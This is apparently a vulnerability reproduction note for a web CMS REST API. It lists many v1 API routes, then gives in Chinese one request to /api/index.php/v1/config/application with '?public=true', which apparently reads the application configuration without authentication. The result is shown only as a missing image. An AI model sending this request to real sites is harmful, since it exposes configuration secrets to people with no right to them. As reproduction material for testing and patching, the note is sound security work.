v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

复现

发送请求

http://127.0.0.1/api/index.php/v1/config/application?public=true

效果

image